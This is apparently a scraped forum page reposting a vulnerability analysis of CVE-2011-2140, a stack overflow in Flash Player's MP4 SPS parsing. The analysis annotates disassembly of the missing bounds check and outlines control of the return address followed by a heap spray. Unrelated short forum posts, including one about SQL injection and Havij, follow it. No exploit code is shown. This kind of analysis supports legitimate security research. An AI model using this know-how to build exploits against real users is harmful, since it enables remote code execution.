vulnerability occurs during processing data units in Sequence Parameter Set in MP4. Sub_1005B396 function, is responsible for processing Sequence Parameter Set. In this function pic_order_cnt_type from SPS will be check, if it’s equal with 1, other fields like data_pic_order_always_zero_flag , offset_for_non_ref_pic , offset_for_top_to_bottom_field will be initialize : [TABLE] [TR] [TD=width: 638].text:1005B396 sub_1005B396 proc near ; CODE XREF: sub_1005B8DB+4Bp.text:1005B397 push ebp.text:1005B398 push esi.text:1005B399 push edi .text:1005B39A mov edi, ecx .text:1005B39C call sub_1005A95B .text:1005B3A1 mov esi, [esp+10h+arg_0] .text:1005B3A5 mov ecx, edi .text:1005B3A7 mov [esi], al … .text:1005B47D mov ecx, edi .text:1005B47F mov [esi+20h], eax .text:1005B482 call sub_1005AA64 .text:1005B487 mov [esi+40h], eax .text:1005B48A cmp eax, ebp à if( pic_order_cnt_type ) .text:1005B48C jnz short loc_1005B49D … .text:1005B49D loc_1005B49D: ; CODE XREF: sub_1005B396+F6j .text:1005B49D xor ebx, ebx .text:1005B49F inc ebx .text:1005B4A0 cmp eax, ebx à if( pic_order_cnt_type == 1 ) .text:1005B4A2 jnz short loc_1005B4EF .text:1005B4A4 mov ecx, edi .text:1005B4A6 call sub_1005A99A à offset_for_top_to_bottom_field .text:1005B4AB mov ecx, edi .text:1005B4AD mov [esi+48h], al .text:1005B4B0 call sub_1005AA93 à offset_for_non_ref_pic .text:1005B4B5 mov ecx, edi .text:1005B4B7 mov [esi+54h], eax .text:1005B4BA call sub_1005AA93 à offset_for_top_to_bottom_field [/TD] [/TR] [/TABLE] Then the num_ref_frames_in_pic_order_cnt_cycle will be set and if it’s bigger than 0 the values in offset_for_ref_frame will be copied into buffer. [TABLE] [TR] [TD=width: 638]text:1005B4BF mov ecx, edi.text:1005B4C1 mov [esi+50h], eax.text:1005B4C4 call sub_1005AA64 à num_ref_frames_in_pic_order_cnt_cycle.text:1005B4C9 mov [esi+4Ch], eax .text:1005B4CC test eax, eax .text:1005B4CE jbe short loc_1005B4EF .text:1005B4D0 lea eax, [esi+58h] .text:1005B4D3 mov [esp+10h+arg_0], eax .text:1005B4D7 .text:1005B4D7 loc_1005B4D7: à do{ .text:1005B4D7 mov ecx, edi .text:1005B4D9 call sub_1005AA93 à offset_for_ref_frame .text:1005B4DE mov ecx, [esp+10h+arg_0] .text:1005B4E2 add [esp+10h+arg_0], 4 à buf = &buf + 4 .text:1005B4E7 inc ebp à i++ .text:1005B4E8 mov [ecx], eax à buf = offset_for_ref_frame .text:1005B4EA cmp ebp, [esi+4Ch] .text:1005B4ED jb short loc_1005B4D7 à } while(i < num_ref_frames_…) [/TD] [/TR] [/TABLE] You should got the vulnerability at this point. There is no boundary check for num_ref_frames_in_pic_order_cnt_cycle, so our data related to offset_for_ref_frame will be copy into the stack , that’s all . [h=2]2- Exploitation[/h] Thanks to windows memory manager, browser and class of bug it’s not that hard to archive RCE. The only thing that should care about is return address. Because values which copied from MP4 file into stack, come with the changes. In other words, these values ??after reading from file will be decode and then are copied into stack. Values ??are copied into the buffer are generated from values in file into Signed Exp-Golomb code.After taking controll of EIP it’s easy to finish the job we used basic heap spray. here is reliable exploit : CVE-2011-2140 happy hunting ! Sursa: Exploiting CVE-2011-2140 another flash player vulnerability | Abysssec Security Research
  20. Nytro

    Test

    dsfsdfdsfdsfdsf
  21. Nytro

    Test

    ghjghj
  22. Da, interesanta idee, poate fi foarte utila o astfel de utilitate.
  23. Avem o categorie numita "Cos de gunoi" unde mutam toate porcariile. Tu ai postat niste link-uri de 2 lei, nu vad ce ar cauta asa ceva la Show-Off. Ai extras macar versiunea bazei de date? Intrati pe un link, puneti o ghilimea si sunteti 1337.Sau puneti acel link in Havij si sunteti 31337. O sa dau ban pentru astfel de porcarii.
  24. Alcoolul dauneaza grav sanatatii. Lasati cacaturile si faceti ceva constructiv.
×
×
  • Create New...